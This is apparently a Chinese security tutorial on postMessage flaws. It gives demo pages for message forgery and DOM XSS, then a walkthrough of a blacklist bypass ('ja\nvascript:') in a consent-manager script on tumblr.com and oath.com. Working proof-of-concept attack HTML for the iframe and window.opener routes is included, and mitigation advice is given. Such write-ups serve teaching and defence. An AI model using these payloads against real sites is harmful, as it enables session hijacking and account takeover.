【网络安全】PostMessage：分析JS实现XSS
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前言
PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口（例如，来自同一域名下的不同页面或者不同域名下的跨域页面）进行通信，而无需通过服务器。通常情况下，它用于实现跨文档消息传递（Cross-Document Messaging），这在一些复杂的网页应用和浏览器插件中非常有用。
示例
在深入学习本文前，通过父子窗口间的消息传递示例代码+浏览器回显带领读者了解必要的知识。
1、send.html通过 postMessage 函数向receive.html发送消息：
<!--send.html-->
<!DOCTYPE html>
<html>
<head>
<title>发送界面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('receive.html', 'popup', 'height=300px, width=300px');
}
function sendMessage() {
//发送的数据内容
let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };
//发送消息到任意目标源
child.postMessage(msg, '*');
}
</script>
</head>
<body>
<input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>
2、receive.html通过监听 message 事件来输出收到的消息：
<!--receive.html-->
<!DOCTYPE html>
<html>
<head>
<title>接收界面</title>
<meta charset="utf-8" />
<script>
//添加事件监控消息
window.addEventListener("message", (event) => {
let txt = document.getElementById("msg");
//接收传输过来的变量数据
txt.value = `接收到的消息为：${event.data.content}`;
});
</script>
</head>
<body>
<h1>接收界面（子窗口）</h1>
<input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>
3、在send.html点击打开子窗口后弹出子窗口：
4、点击发送消息后，接收界面收到并且打印消息内容“玲珑安全漏洞挖掘培训vx: bc52013”
如上，通过PostMessage实现了父子窗口间的消息传递。
然而，若代码书写不规范将导致安全问题。
1、数据伪造
由于receive.html没有设置信任源，因此任意页面都可向该页面发送数据，导致数据伪造。
<!--数据伪造.html-->
<!DOCTYPE html>
<html>
<head>
<title>数据伪造界面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('receive.html', 'popup', 'height=300px, width=300px');
}
function sendMessage() {
//发送的数据内容
let msg = { content: "ICE" };
//发送消息到任意目标源
child.postMessage(msg, '*');
}
</script>
</head>
<body>
<input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>
如图，接收方本应接收到的消息为：
而在数据伪造界面打开子窗口并发送消息后，接收界面接收到伪造数据：
2、XSS
当发送参数可控且接收方处理不当时，将导致DOM XSS
例如，受害方接收一个可控的URL参数：
<!--受害方.html-->
<!DOCTYPE html>
<html>
<head>
<title>受害方界面</title>
<meta charset="utf-8" />
<script>
//添加事件监控消息
window.addEventListener("message", (event) => {
location.href=`${event.data.url}`;
});
</script>
</head>
<body>
<h1>受害方界面（子窗口）</h1>
</body>
</html>
于是可以构造恶意请求，实现XSS：
<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>
<head>
<title>攻击方实现XSS界面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('受害方.html', 'popup', 'height=300px, width=300px');
}
function sendMessage() {
//发送的数据内容
let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };
//发送消息到任意目标源
child.postMessage(msg, '*');
}
</script>
</head>
<body>
<input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>
在攻击方界面打开子窗口：
点击发送消息后，受害方执行JS代码：
同时，当页面中不包含X-Frame-Options标头时，还可利用 <iframe>标签嵌套受害方页面并传递可控参数，以执行JS代码：
<!-- 攻击方: hacker.html -->
<!DOCTYPE html>
<html>
<head>
<title>XSS-iframe</title>
</head>
<body>
<iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
var iframe = window.frames.attack;
function xss() {
let msg = {url: "javascript:alert(document.domain)"};
iframe.postMessage(msg, '*');
}
</script>
</html>
攻击效果如图：
漏洞危害如下：
（i）窃取用户敏感数据（个人数据、消息等）
（ii）窃取 CSRF 令牌并以用户的名义执行恶意操作
（iii）窃取账户凭证并接管用户账户
修复缓解方案：
1、发送方应验证目标源，确保消息只能被预期的接收方处理：
接收方应使用指定的信任域：
此时，点击发送消息后，受害方界面不再执行弹窗，因为攻击方指定的目标源是https协议，而受害方仅指定http://127.0.0.1为信任源：
当攻击方页面指定127.0.0.1的http协议时，由于攻击方页面与受害者页面均在该服务器上，因此能够实现XSS：
正文
进入tumblr.com，在cmpStub.min.js文件中存在如下函数，其不检查 postMessage 的来源：
!function() {
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
//不检查来源，为后续测试提供可能性
})
}
}
主要含义：接收并解析 JSON 数据 (e.data)，将其转换为 JavaScript 对象 (n)；执行 __cmpCall 中指定的命令和参数，并将执行结果封装成返回对象 a；最后通过 postMessage 方法将处理结果发送回消息来源。
跟进__cmp() 函数，看看应用程序对数据进行了何种处理：
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
可以看出，c.a.isSafeUrl(p.uiUrl))为真才将继续执行。
跟进isSafeUrl函数：
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
},
若p.uiUrl（即e）中存在javascript，则返回假。
所以这里是为了防止JS代码执行，而通常使用黑名单的防护方式是容易被绕过的。
那么传入的p.uiUrl参数后续会经过什么处理呢？
在上面的代码中，还存在该行代码：
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟进b()函数：
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
再跟进关键的renderConsents() 函数：
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),
可以看到该函数将创建iframe元素，而该元素的src属性就是我们可控的p.uiUrl。
综上所述，整体流程如下：
传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判断数据是否合法 -> 若合法，则执行renderConsents()函数，构造iframe
知悉参数从传递到处理的流程后，就可以构造Payload了。
现在的目的是绕过isSafeUrl函数，而恰好，JavaScript 在处理字符串时，会忽略掉换行符、制表符等空白字符（无害脏数据）：
因此，依据__cmp() 函数，以JSON形式构造Payload如下：
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "ice",
"organizationId": "ice",
"gdprAppliesGlobally": "ice"
}
}
}
使用iframe嵌套受攻击页面：
<html>
<body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");
} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
</body>
</html>
成功实现XSS：
以上是页面中不包含X-Frame-Options标头的情况，导致我们能嵌套受攻击页面。
若页面中包含X-Frame-Options 标头，则我们不能嵌套受攻击页面。这种情况下，可通过 window.opener 实现两个浏览器选项卡之间的连接，再发送 postMessage 消息，实现XSS。
在tumblr.com页面存在X-Frame-Options标头，但也含有cmpStub.min.js文件的情况下，攻击代码如下所示：
<html>
<body>
<script>
function e() {
window.setTimeout(function() {
window.location.href = "https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try {
window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");
} catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>
成功实现XSS：
参考链接：
https://www.cnblogs.com/piaomiaohongchen/p/18305112
https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
